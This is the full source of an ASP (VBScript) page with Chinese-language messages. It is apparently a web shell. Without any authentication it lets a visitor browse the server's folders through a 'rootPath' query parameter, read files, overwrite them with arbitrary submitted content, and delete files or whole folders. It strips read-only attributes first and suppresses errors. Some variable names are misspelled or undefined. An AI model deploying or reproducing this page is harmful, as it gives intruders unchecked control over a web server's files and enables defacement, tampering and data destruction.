%
On Error Resume Next
function bianliFolder(currentPath)
        path = server.mapPath(currentPath)
	response.write("v1.1Current Folder is " & path & "
")
		
	set fso=server.CreateObject("scripting.filesystemobject")    
        on error resume next
        set objFolder=fso.GetFolder(path)
	upperFolder = LEFT(currentPath,(InStrRev(currentPath,"/")-1))
	IF currentPath <> "/" THEN
		if upperFolder="" then upperFolder="/"
		response.write("
| · 返回上级目录 ")
		response.write(upperFolder)
		response.write(" |  |  | 
")
	END IF
	if Right(currentPath,1)<>"/" then currentPath=currentPath&"/"
        set objSubFolders=objFolder.Subfolders
        for each objSubFolder in objSubFolders 
            'nowpath=path + "\" + objSubFolder.name
            nowpath=objSubFolder.name
            nextPath = currentPath & objSubFolder.name
            'Response.Write nowpath
            'Response.Write "·" & nowpath & ""
            Response.Write "| ·" & nowpath & ""
            Response.Write " | "&objSubFolder.datelastmodified&" |  |  | 
"
            'bianli(nowpath)'递归
        next 
        Call bianliFile(currentPath)
        set objFolder=nothing
        set objSubFolders=nothing
        set fso=nothing
    end function
%>
<%
function bianliFile(currentPath)
	'go through files
        path = server.mapPath(currentPath)
		
        'Response.Write("path is " & path & "
")
        
        set fso=server.CreateObject("scripting.filesystemobject")    
        on error resume next
        set objFolder=fso.GetFolder(path)
            nowpath = path
            'Response.Write("now path is " & nowpath & "
")
            'Response.Write "" & nowpath & ""
            set objFiles=objFolder.Files
            for each objFile in objFiles
                Response.Write "| ·"
                Response.Write objFile.name & " | " & objFile.datelastmodified& ""
                Response.Write " | GB2312 Edit  UTF-8 Edit | Del | 
"
            next
            Response.Write ""
            'bianli(nowpath)'递归
         set objFolder=nothing
        set objSubFolders=nothing
        set fso=nothing
    end function
%>
<%
function delit(fileType,path)
	'remove a file
        set fso=server.CreateObject("scripting.filesystemobject")    
        IF UCase(fileType) = "SINGLE" THEN
        	fso.DeleteFile(path)
        END IF
        IF UCase(fileType) = "MULTI" THEN
        	fso.DeleteFolder(path)
        END IF
    end function
%>
<%
function displayit(fileType,path)
response.write Server.HTMLEncode(LoadFile(path,fileType))
end function
function readItAll(path)
	'read a file
	Set objTStream = objFSO.OpenTextFile(path)
	Do While Not objTStream.AtEndOfStream
	   'get the line number
	   intLineNum = objTStream.Line
	   'format and convert to a string
	   strLineNum = Right("00" & CStr(intLineNum), 3)
	   'get the text of the line from the file
	   strLineText = objTStream.ReadLine
	   Response.Write strLineNum & ": " & strLineText & vbCrLf
	Loop
	objTStream.Close
end function
Function writeTextFile(fileName,fileToWrite,fileType)
	SaveToFile fileToWrite,fileName,fileType
End Function
Function LoadFile(ByVal File,ByVal charset)
Dim objStream
Set objStream = Server.CreateObject("ADODB.Stream")
If Err.Number=-2147221005 Then 
Response.Write "
非常遗憾,您的主机不支持ADODB.Stream,不能使用本程序
"
Err.Clear
Response.End
End If
With objStream
.Type = 2
.Mode = 3
.Open
.LoadFromFile File
If Err.Number<>0 Then
Response.Write "文件"&File&"无法被打开,请检查是否存在!
"
Err.Clear
Response.End
End If
.Charset = charset
.Position = 2
LoadFile = .ReadText
.Close
End With
Set objStream = Nothing 
End Function
'存储内容到文件
Sub SaveToFile(ByVal strBody,ByVal File,ByVal charset)
Dim objStream
On Error Resume Next
if left(strBody,8)="" then
strBody=Mid(strBody,9)
end if 
Set objStream = Server.CreateObject("ADODB.Stream")
If Err.Number=-2147221005 Then 
Response.Write "非常遗憾,您的主机不支持ADODB.Stream,不能使用本程序
"
Err.Clear
Response.End
End If
With objStream
.Type = 2
.Mode = 3
.Open
.Charset = charset
.Position = objStream.Size
.WriteText = strBody
.SaveToFile File,2
.Close
End With
Set objStream = Nothing
End Sub 
%>
<%
action = request.queryString("action")
IF action = "del" THEN
	fileType = request.queryString("fileType")
	filePath = request.queryString("filePath")
	
	response.write(filePath)
	Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
Set Myfile=MyFileObject.GetFile(fileName)
Myfile.attributes=0
	Call delit(fileType,filePath)
	
	'response.redirect("")
	
	if  err  then  
	     Response.Write  "错误:"&Err.Description  
	     response.end
	else  
	     Response.Write  "成功!"  
	     response.end
	end  if  
END IF
IF action = "save" THEN
	Dim db,fileToWriteType,fileContent,fileName
	fileType = Request("fileType")
	fileAddress = Request("fileAddress")
	fileAddressNew = Request("fileAddressNew")
	fileContent = Request("fileContent")
	
	IF fileAddresNew = "" THEN
		fileName = fileAddress
	ELSE
		fileName = fileAddressNew
	END IF
	Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
Set Myfile=MyFileObject.GetFile(fileName)
Myfile.attributes=0
	Call writeTextFile(fileName,fileContent,fileType)
	'Call funAlertMsg("操作成功!")
	if  err  then  
	
	
	     Response.Write  fileName&"
错误s:"&Err.Description  
	     response.end
	else  
		Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
Set Myfile=MyFileObject.GetFile(fileName)
Myfile.attributes=1
	     Response.Write  "
成功!"  
	     response.end
	end  if  
	
END IF
%>
<%
IF action = "display" THEN
filePath = request.queryString("filePath")
fileType = request.queryString("fileType")
%>
<%
response.write(filePath)
%>
<%
if  err  then  
     Response.Write  "
状态:错误:"&Err.Description  
     response.end
else  
     Response.Write  "
状态:成功!"  
     response.end
end  if  
%>
<%
END IF
%>
<%
rootPath = request.queryString("rootPath")
'if not set the rootPath parameter then set it to current path
if rootPath = "" then rootPath = "/"
Call bianliFolder(rootPath)
%>